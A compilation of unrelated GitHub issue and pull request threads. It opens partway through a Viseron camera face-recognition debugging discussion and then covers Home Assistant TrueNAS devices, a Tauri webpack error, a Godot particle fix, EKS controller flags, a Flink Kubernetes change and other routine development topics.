[2023-02-14 10:49:07] [DEBUG   ] [viseron.components.darknet.object_detector.garagecam] - Objects: [{'label': 'person', 'confidence': 0.95, 'rel_width': 0.072, 'rel_height': 0.359, 'rel_x1': 0.331, 'rel_y1': 0.519, 'rel_x2': 0.403, 'rel_y2': 0.878}]
[2023-02-14 10:49:07] [DEBUG   ] [viseron.states] - Setting state of binary_sensor.garagecam_object_detected to state: on, attributes {'name': 'GarageCam Object Detected', 'domain': 'binary_sensor', 'count': 1, 'objects': [<viseron.domains.object_detector.detected_object.DetectedObject object at 0x7ffb0dbc8190>]}
[2023-02-14 10:49:07] [DEBUG   ] [viseron.components.compreface.face_recognition.garagecam] - CompreFace response: {'message': 'No face is found in the given image', 'code': 28}
[2023-02-14 10:49:08] [DEBUG   ] [viseron.components.mog2.motion_detector.frontdoorcam] - Max motion area: 0.00071
[2023-02-14 10:49:08] [DEBUG   ] [viseron.components.mog2.motion_detector.garagecam] - Max motion area: 0.61872
[2023-02-14 10:49:08] [DEBUG   ] [viseron.components.darknet.object_detector.garagecam] - Objects: []
[2023-02-14 10:49:08] [DEBUG   ] [viseron.states] - Setting state of binary_sensor.garagecam_object_detected_person to state: off, attributes {'name': 'GarageCam Object Detected Person', 'domain': 'binary_sensor', 'count': 0, 'objects': []}
[2023-02-14 10:49:08] [DEBUG   ] [viseron.states] - Setting state of binary_sensor.garagecam_object_detected to state: off, attributes {'name': 'GarageCam Object Detected', 'domain': 'binary_sensor', 'count': 0, 'objects': []}
[2023-02-14 10:49:08] [DEBUG   ] [viseron.components.compreface.face_recognition.garagecam] - Expiring face Josh
[2023-02-14 10:49:09] [DEBUG   ] [viseron.components.mog2.motion_detector.frontdoorcam] - Max motion area: 0
[2023-02-14 10:49:09] [DEBUG   ] [viseron.components.mog2.motion_detector.garagecam] - Max motion area: 0.15307
[2023-02-14 10:49:09] [DEBUG   ] [viseron.components.darknet.object_detector.garagecam] - Objects: []
[2023-02-14 10:49:10] [DEBUG   ] [viseron.components.mog2.motion_detector.frontdoorcam] - Max motion area: 0.00161
[2023-02-14 10:49:10] [DEBUG   ] [viseron.components.mog2.motion_detector.garagecam] - Max motion area: 0.02408
[2023-02-14 10:49:10] [DEBUG   ] [viseron.components.mog2.motion_detector.garagecam] - Motion stopped
[2023-02-14 10:49:10] [DEBUG   ] [viseron.states] - Setting state of binary_sensor.garagecam_motion_detected to state: off, attributes {'name': 'GarageCam Motion Detected', 'domain': 'binary_sensor'}
'''

It looks like there are 2 problems:

GarageCam does identify my face, but HomeAssistant never hears about it.
Frontdoorcam never identifies my face.

Thoughts on these?

Judging from your log, frontdoorcam never searches for any objects because motion wasnt triggered.
As you can see from the garagecam, the face recognition is invoked after every detected person.
If you could post the full log then we could figure out if its not detecting anything at all, but my guess is that this log snippet simply doesnt contain the frontoodrcam detection portion.
Are you 100% sure it doesnt show up in Home Assistant? Viseron relays all internal state changes over MQTT.
Could you show me a screenshot of the devices page for the GarageCam in Home Assistant?

Update:  I set up new HA automations to see more whats going on and a subsequent experiment confirms the same result.  GarageCam doesn't notify HA about the face, and FrontDoorCam never even sees a person.  For reference, I have frigate watching the same FrontDoorCam feed, and it reliably sees the person in the feed.

Just tried it myself and i get stat updates in Home Assistant:

Logs of the event:
[2023-02-19 16:35:24] [INFO    ] [viseron.components.gstreamer.recorder.viseron_cuda_camerag] - Starting recorder
[2023-02-19 16:35:24] [INFO    ] [viseron.components.nvr.nvr.viseron_cuda_camerag] - Starting motion detector
[2023-02-19 16:35:29] [INFO    ] [viseron.components.ffmpeg.recorder.viseron_cuda_camera] - Starting recorder
[2023-02-19 16:35:29] [INFO    ] [viseron.components.nvr.nvr.viseron_cuda_camera] - Starting motion detector
[2023-02-19 16:35:35] [DEBUG   ] [viseron.components.compreface.face_recognition.viseron_cuda_camera2] - CompreFace response: {'result': [{'age': {'probability': 0.697334885597229, 'high': 32, 'low': 25}, 'gender': {'probability': 1.0, 'value': 'female'}, 'box': {'probability': 0.94446, 'x_max': 351, 'y_max': 284, 'x_min': 92, 'y_min': 12}, 'subjects': [{'subject': 'jesper', 'similarity': 0.50732}], 'execution_time': {'age': 4572.0, 'gender': 4554.0, 'detector': 484.0, 'calculator': 39.0}}], 'plugins_versions': {'age': 'agegender.AgeDetector', 'gender': 'agegender.GenderDetector', 'detector': 'facenet.FaceDetector', 'calculator': 'facenet.Calculator'}}
[2023-02-19 16:35:35] [DEBUG   ] [viseron.components.compreface.face_recognition.viseron_cuda_camera2] - Face found: {'subject': 'jesper', 'similarity': 0.50732}
[2023-02-19 16:35:40] [DEBUG   ] [viseron.components.compreface.face_recognition.viseron_cuda_camera2] - Expiring face jesper
[2023-02-19 16:35:41] [INFO    ] [viseron.components.nvr.nvr.viseron_cuda_camerag] - Stopping recording in: 19
[2023-02-19 16:35:42] [INFO    ] [viseron.components.nvr.nvr.viseron_cuda_camerag] - Stopping recording in: 18
[2023-02-19 16:35:42] [DEBUG   ] [viseron.components.webserver.websocket_api] - Received {"type":"ping","command_id":6}
[2023-02-19 16:35:43] [INFO    ] [viseron.components.nvr.nvr.viseron_cuda_camerag] - Stopping recording in: 17
[2023-02-19 16:35:44] [DEBUG   ] [viseron.components.compreface.face_recognition.viseron_cuda_camera2] - CompreFace response: {'result': [{'age': {'probability': 0.9789593815803528, 'high': 32, 'low': 25}, 'gender': {'probability': 0.9792945981025696, 'value': 'male'}, 'box': {'probability': 0.99997, 'x_max': 353, 'y_max': 288, 'x_min': 111, 'y_min': 8}, 'subjects': [{'subject': 'jesper', 'similarity': 0.99279}], 'execution_time': {'age': 4293.0, 'gender': 4286.0, 'detector': 593.0, 'calculator': 39.0}}], 'plugins_versions': {'age': 'agegender.AgeDetector', 'gender': 'agegender.GenderDetector', 'detector': 'facenet.FaceDetector', 'calculator': 'facenet.Calculator'}}
[2023-02-19 16:35:44] [DEBUG   ] [viseron.components.compreface.face_recognition.viseron_cuda_camera2] - Face found: {'subject': 'jesper', 'similarity': 0.99279}
[2023-02-19 16:35:44] [INFO    ] [viseron.components.nvr.nvr.viseron_cuda_camerag] - Stopping recording in: 16
[2023-02-19 16:35:44] [DEBUG   ] [viseron.components.webserver.websocket_api] - Received {"type":"ping","command_id":7}
[2023-02-19 16:35:45] [DEBUG   ] [viseron.components.compreface.face_recognition.viseron_cuda_camera2] - CompreFace response: {'message': 'No face is found in the given image', 'code': 28}
[2023-02-19 16:35:45] [INFO    ] [viseron.components.nvr.nvr.viseron_cuda_camerag] - Stopping recording in: 15
[2023-02-19 16:35:45] [INFO    ] [viseron.components.nvr.nvr.viseron_cuda_camerag] - Stopping recording in: 15
[2023-02-19 16:35:46] [DEBUG   ] [viseron.components.compreface.face_recognition.viseron_cuda_camera2] - CompreFace response: {'message': 'No face is found in the given image', 'code': 28}
[2023-02-19 16:35:46] [INFO    ] [viseron.components.nvr.nvr.viseron_cuda_camerag] - Stopping recording in: 14
[2023-02-19 16:35:46] [INFO    ] [viseron.components.nvr.nvr.viseron_cuda_camera] - Stopping recording in: 4
[2023-02-19 16:35:47] [DEBUG   ] [viseron.components.compreface.face_recognition.viseron_cuda_camera2] - CompreFace response: {'message': 'No face is found in the given image', 'code': 28}
[2023-02-19 16:35:47] [INFO    ] [viseron.components.nvr.nvr.viseron_cuda_camerag] - Stopping recording in: 13
[2023-02-19 16:35:47] [INFO    ] [viseron.components.nvr.nvr.viseron_cuda_camera] - Stopping recording in: 3
[2023-02-19 16:35:48] [DEBUG   ] [viseron.components.compreface.face_recognition.viseron_cuda_camera2] - CompreFace response: {'message': 'No face is found in the given image', 'code': 28}
[2023-02-19 16:35:48] [INFO    ] [viseron.components.nvr.nvr.viseron_cuda_camerag] - Stopping recording in: 12
[2023-02-19 16:35:48] [INFO    ] [viseron.components.nvr.nvr.viseron_cuda_camera] - Stopping recording in: 2
[2023-02-19 16:35:49] [DEBUG   ] [viseron.components.compreface.face_recognition.viseron_cuda_camera2] - CompreFace response: {'message': 'No face is found in the given image', 'code': 28}
[2023-02-19 16:35:49] [DEBUG   ] [viseron.components.compreface.face_recognition.viseron_cuda_camera2] - Expiring face jesper

Could you maybe try to stop Viseron, delete all the Viseron MQTT topics in the broker and restart Viseron?


Create Blog “2022-08-28-yoyo”

Automatically generated by Netlify CMS

👷 Deploy Preview for resplendent-toffee-8f3bb7 processing.

Name
Link

🔨 Latest commit
d3c62fc8f0d969845d92395800ef67b321b0c785

🔍 Latest deploy log
https://app.netlify.com/sites/resplendent-toffee-8f3bb7/deploys/630bd5939b42160009fe17ff


[Bug] TrueNAS Scale duplicating Devices when adding multiple integrations

Describe the issue
When I add my two TrueNAS Scale instances to the homeassistant integration. The first integration of "AlphaNAS" creates AlphaNAS Disks, AlphaNAS Services, etc as Devices. When adding the second "BetaNAS" as another integration , it creates AlphaNAS Disks, AlphaNAS Services, AlphaNAS Disks, AlphaNAS Datasets, and BetaNAS System under the BetaNAS integration. When it should be BetaNAS Disks, etc. All but the System Devices seem to merge together between the two integrations and this is really annoying behaviour.
Expected behaviour
The two Devices should be seperate and not weirdly "merged" devices.
Software versions

Home Assistant version: HA 2022.7.7
TrueNAS integration version: v1.1.1
TrueNAS version: TrueNAS-SCALE-<IP_ADDRESS>

not sure I understand. can you add some screenshots?

I added AlphaNAS first then OmegaNAS and this issue pops up and "merges" the Devices together.

Ah, gotcha. This needs to be fixed.


Events Error

Describe the bug
After webpacking the server and client, running tauri dev the app initialises, but displays a blank screen. In the dev console, the mentioned error is visible. I interpret this as being an bug related to the Rust api (of which I am using very little)
Here is the app layout:

Main Rust Packages:

use tauri::event::{listen, emit};
use tauri_api::dialog::{pick_folder};
use tauri_api::path::{resource_dir};
use tauri_api::dir::{read_dir};
use nfd::Response::{Okay, OkayMultiple, Cancel};
use cmd::{write_file,read_file};

Main Nodejs Packages
-- Express
-- node-pty
-- socket.io
-- os
-- http
Client is a fairly simple React app (not using CRA)

Dev Console Error

Uncaught ReferenceError: require is not defined
    at eval (external_"events":1)
    at Object.events (bundle.js:34548)
    at __webpack_require__ (bundle.js:34767)
    at eval (index.js:12)
    at Object../node_modules/depd/lib/compat/index.js (bundle.js:371)
    at __webpack_require__ (bundle.js:34767)
    at eval (index.js:10)
    at Object../node_modules/depd/index.js (bundle.js:328)
    at __webpack_require__ (bundle.js:34767)
    at eval (index.js:12)

Platform and Versions (please complete the following information):

tauri info Output

Operating System - Windows_NT(10.0.19042) - win32/x64
Microsoft Edge - 44.19041.423.0_neutral__8wekyb3d8bbwe

Node.js environment
  Node.js - 12.17.0
  tauri.js - 0.13.0

Rust environment
  rustc - 1.48.0
  cargo - 1.48.0
  tauri-bundler - 0.9.4

Global packages
  NPM - 6.14.8
  yarn - 1.22.5

App directory structure
/.git
/lesson_files
/node_modules
/public
/server
/src
/src-tauri

App
  tauri.rs - 0.10.0
  mode - embedded-server
  build-type - bundle
  CSP - default-src blob: data: filesystem: ws: http: https: 'unsafe-eval' 'unsafe-inline'
  distDir - ../public
  devPath - http://localhost:3000

Relevant lines in bundle.js:
/***/ "events":
/*!*************************!*\
  !*** external "events" ***!
  \*************************/
/*! dynamic exports */
/*! exports [maybe provided (runtime-defined)] [no usage info] */
/*! runtime requirements: module */
/***/ ((module) => {

"use strict";
eval("module.exports = require(\"events\");;\n\n//# sourceURL=webpack://rustcoder/external_%22events%22?");

/***/ }),

I would appreciate any assistance.
On another, probably unrelated note: My server runs up a node process, on development/tauri-dev, but this process is not killed, when the app window is closed, and prevents the app from being re-run, until the process is manually killed in the terminal. Am I missing a on-close cmd I can invoke?
PS: this is an excellent product

Can you give us a repo with a project to reproduce it?

@lucasfernog Thank you, for checking back. Here is the repo: https://github.com/Sky020/RustCoder
Although, I think I have determined that the bug is an issue with my webpack setup, and not the Tauri api; I am unable to get the development environment to run up in the browser without a similar error - instead of being an issue with the "events" module, it is the "fs" module.
Cheers


Fix GPUParticles3D Generate AABB and local_coords

The first commit fixes #50441 by correctly accessing the buffer and removing unnecessary (?) padding at the end of the ParticleData struct (it's still not entirely in line with the struct defined in particles.glsl, there, just a single vec4 custom is defined instead of float custom[3] and lifetime, is this intended?).

The second commit fixes an issue where setting GPUParticle3Ds local_coords property would not work correctly after changing it until reloading the scene. If preferred, I can squash it (it's a tiny fix) or create a separate issue/PR for it.

Thanks!


Add an --output option to output json.

If you have a lot of data it would be helpful to be able to pipe this data into other tools that can process json (like jq).  Just a simple change to allow that as an option. Default behavior remains the same.

LGTM, thanks!


move week under event and keep url path via aliases(fix #278)

Move week under event
Keep url path via aliases
fix #278

checked URL links below:
https://deploy-preview-280--tag-env-sustainability.netlify.app/
https://deploy-preview-280--tag-env-sustainability.netlify.app/events/
https://deploy-preview-280--tag-env-sustainability.netlify.app/cloud-native-sustainability-week/
https://deploy-preview-280--tag-env-sustainability.netlify.app/events/cloud-native-sustainability-week/


enhancement - expose dimensions of objects

https://github.com/spyder-ide/spyder/blob/master/img_src/screenshot.png

It would be good if we could tweak this by one other thing - which is the dimensions / size of the array if the object in question responds to this.

found this python we maybe able to cherry pick  to handle sizes
https://github.com/nikitakit/hydrogen-python/blob/master/py/install_kernel_plugin.py

got this working
https://gist.github.com/johndpope/21e828eede7dc564b07112df3401054b

might be good idea to color code the types as per spyder ide above.
eg. strings -> red
lists -> yellow
will take another crack when I get to it.

probably should use these colors instead


GA Migration PreCommit and PostCommit Tables in CI.md

Added new PreCommit and PostCommit tables with placeholders to CI.md
Also added a tip under GitHub Action Tips regarding the need of GCP credentials.
Hi @damccorm
What do you think about this formatting?
Thanks for reviewing!
Thank you for your contribution! Follow this checklist to help us incorporate your contribution quickly and easily:

[ x] Choose reviewer(s) and mention them in a comment (R: @username).
[ x] Mention the appropriate issue in your description (for example: addresses #123), if applicable. This will automatically add a link to the pull request in the issue. If you would like the issue to automatically close on merging the pull request, comment fixes #<ISSUE NUMBER> instead.
[ ] Update CHANGES.md with noteworthy changes.
[ ] If this contribution is large, please file an Apache Individual Contributor License Agreement.

See the Contributor Guide for more tips on how to make review process smoother.
To check the build health, please visit https://github.com/apache/beam/blob/master/.test-infra/BUILD_STATUS.md
GitHub Actions Tests Status (on master branch)

See CI.md for more information about GitHub Actions CI.

(will merge once checks pass)

Whitespace has passed (just not statusing) and the other 2 are not tests of this code, so I'm merging


How do I configure Kube controller?

We're looking into how to make our pod eviction timeout shorter so that our cluster can respond to dead nodes quicker. At present, I can't see a single place to inject the --pod-eviction-timeout flag.
Is this a feature that hasn't been implemented yet or am I missing something?

In EKS, the kube-controller-manager is managed by AWS (along with the other components) and you cannot modify its parameters.
This AMI is only meant for the worker nodes; you can only modify the parameters of the kubelet here.

Understood - was hoping there might be something that I'd missed. Given it's not relevant, happy to close the issue.

Is this still not supported ? I had a similar configuration to add (HPA scale down delay --horizontal-pod-autoscaler-downscale-delay) @ChrisCooney  Did you find a workaround?
Thanks,
Srini

Afraid not! There is an open issue on the AWS container road map repository for it though.

Is this still not supported ? I had a similar configuration to add (HPA scale down delay --horizontal-pod-autoscaler-downscale-delay) @ChrisCooney Did you find a workaround?
Thanks,
Srini

I'm looking for the same thing. default value is 5m is way too long for my use case

Afraid not! There is an open issue on the AWS container road map repository for it though.

Can u pls point me to this?

@thangbn - Looks like it's:
https://github.com/aws/containers-roadmap/issues/159

@thangbn - Looks like it's:
aws/containers-roadmap#159

thanks


[FLINK-19700][k8s] Make Kubernetes Client in KubernetesResourceManagerDriver use io executor

What is the purpose of the change
Currently, the Kubernetes Client in KubernetesResourceManagerDriver is using a dedicated thread pool through calling KubeClientFactory::createThreadPoolForAsyncIO to create fixed thread pool. KubernetesResourceManagerDriver could get the io executor and eliminate the redundant thread pool. KubeClientFactory uses KubeClientFactory::createThreadPoolForAsyncIO by default.
Brief change log

KubernetesResourceManagerDriver adds constructor with creating FlinkKubeClient  through KubeClientFactory#fromConfiguration(flinkConfig, ioExecutor) to reuse the io executor of AbstractResourceManagerDriver.

Verifying this change

TestingResourceManagerDriver updates initialize() with ExecutorService type parameter to verify the AbstractResourceManagerDriver whether to work.

Does this pull request potentially affect one of the following parts:

Dependencies (does it add or upgrade a dependency): (yes / no)
The public API, i.e., is any changed class annotated with @Public(Evolving): (yes / no)
The serializers: (yes / no / don't know)
The runtime per-record code paths (performance sensitive): (yes / no / don't know)
Anything that affects deployment or recovery: JobManager (and its components), Checkpointing, Kubernetes/Yarn/Mesos, ZooKeeper: (yes / no / don't know)
The S3 file system connector: (yes / no / don't know)

Documentation

Does this pull request introduce a new feature? (yes / no)
If yes, how is the feature documented? (not applicable / docs / JavaDocs / not documented)

@xintongsong @wangyang0918, could you please help to review the pull request if you are available?

Thanks for preparing this PR, @SteNicholas.
I'm afraid the changes won't work. Please see my comments. The e2e failures on AZP also confirmed my concern.

@xintongsong , thanks for your detailed comments. I have followed your comments mentioned above. Please help to review again if you are available.

Thanks @SteNicholas. I think the changes should work now.
I have a few more comments concerning the maintainability and testability. Please take a look.

@xintongsong Please help to review the pull request again. Sorry for trouble you again.

@SteNicholas
I've updated the PR:

Rebased onto latest master branch
Your original changes are squashed into one main commit.
My new changes are in the hotfix and fixup commits.

Please take a look at the changes. It there's no objections, I'll merge this once AZP gives green light.

@SteNicholas
I've updated the PR:

Rebased onto latest master branch
Your original changes are squashed into one main commit.
My new changes are in the hotfix and fixup commits.

Please take a look at the changes. It there's no objections, I'll merge this once AZP gives green light.

Yeah, I have taken a look at your changes. It's ok for me. Go ahead to merge this when AZP gives green light. Thanks for your detailed review and changes.


Adds checks for API coverage

This adds tests that check that all of the endpoints exposed by the Datatracker API are provided by the ietfdata API, and that the fields provided by the Datatracker API match those of the ietfdata API.
At the moment, the CI tests will fail if any endpoints aren't covered by the ietfdata API, or if there are any field mismatches. It might be worth adding a list of endpoints that aren't going to be covered.

Looks good in principle - I'll merge and fix


Mulitple sliders depends

Hi,
Amazing plugin !
I'm trying to set 2 sliders. Slider 1 is forbidden interval for slider 2, and reverse.
When I update slider 1, disabledIntervals of slider 2 is updated, it's work great.
But when I update slider 1, onUpdateCallback of slider 2 is not triggered.
I want slider 1 error, call slider 2error function to check intervals.
Here is my working code :
https://codesandbox.io/s/react-timeline-range-slider-forked-9s26y?file=/src/App.js
Thanks for support

Hi! Thanks for the demo you provided.
If I understand your question correctly, then the slider behavior is correct. onUpdateCallback for slider 2 will be called only if the slider's 2 active area changes.

Yes that's it.
I want onUpdateCallback fired on slider 2, if disabledIntervals of it changed.

I think the better way to do this is to use useEffect with the disabledIntervals dependency

I've tried this,
But I don't see how can I call onUpdateCallback of a slider.

Just call setErrorPm(true) manually

I think this is the only way

I don't know value of error : true or false.
I don't know when I change value of slider 1, if slider 2 will have to fire an error.
For example :
Start of app with default values  :

Then, I change AM start date from 9 to 7:30 AM => no error on slider 2 so it's ok : set error false

But, now, if I set end of first slider after 2PM, we have to call onUpdateCallback on slider 2 and set error to true

You need to check yourself is slider 2 is on error or not:
useEffect(() => {
  if (...) { // if am interval intersects pm interval
    setErrorPm(true)
  }
}, [am])

I’m afraid this can only be done manually, since the onUpdateCallback is called only after changing the slider value.

Yesss, it's work with momenJS-range library :
useEffect(() => {
    const range_am = moment.range(moment(am[0]), moment(am[1]))
    const range_pm = moment.range(moment(pm[0]), moment(pm[1]))
    const range = range_am.intersect(range_pm)
    setErrorAm(range !== null)
    setErrorPm(range !== null)
  }, [am, pm])

Thanks you !


WIP: Feature/v3 configuration

This pr is a follow up on pr #1940.
It replaces the configuration of phpdocumentor with the new v3 config setup. A lot of refactoring was needed to accomplish this. I moved the commands to stages of a pipeline, the commands are refactored to pipeline only.

If there's a .env.dist, does that imply that the .env file should not be committed in?


docs(localization): add note for non-NDT users

Description
I added a note to users who use pose_estimator other than NDT.
Pre-review checklist for the PR author
The PR author must check the checkboxes below when creating the PR.

[x] I've confirmed the contribution guidelines.
[x] The PR follows the pull request guidelines.

In-review checklist for the PR reviewers
The Reviewers must check the checkboxes below before approval.

[ ] The PR follows the pull request guidelines.

Post-review checklist for the PR author
The PR author must check the checkboxes below before merging.

[ ] There are no open discussions or they are tracked via tickets.

After all checkboxes are checked, anyone who has write access can merge the PR.


Adding dot call

adding support for dot notation for objects, first being arrays and dictionaries
example
let a: array = [1,2];
a.push(3);
echo(a);
result:
[1,2,3]

dot calls are now supported for arrays.
Dictionaries will be added in the next few days


Ship unbuilt modules

Why
Current build setup produces JavaScript artifacts that are hard to debug (compile code is not readable).
How
The build process should be minimal (stripping off type declarations). Code transformation shouldn't be needed, as the target version of node (>=10) should support all the features used in the library's source code.

Tried bundling with target: 'esnext', produces a runtime error on the msw side when running tests for setupServer: exports is not defined.

This is a challenging task as NRI is often consumed by CJS modules. That is the primary reason it gets distributed as CJS. I'm not sure over the benefits of multi-target build for NRI, as:

You don't usually require and operate NRI directly.
It may be an unnecessary complication.

The initial motivation for this task was to improve the debugging experience when going through stack traces originating from the NRI code. That factor can be improved by the means other than bundling format:

Ensure we distribute source maps with the built modules.
Ensure the built modules are not minified/mangled.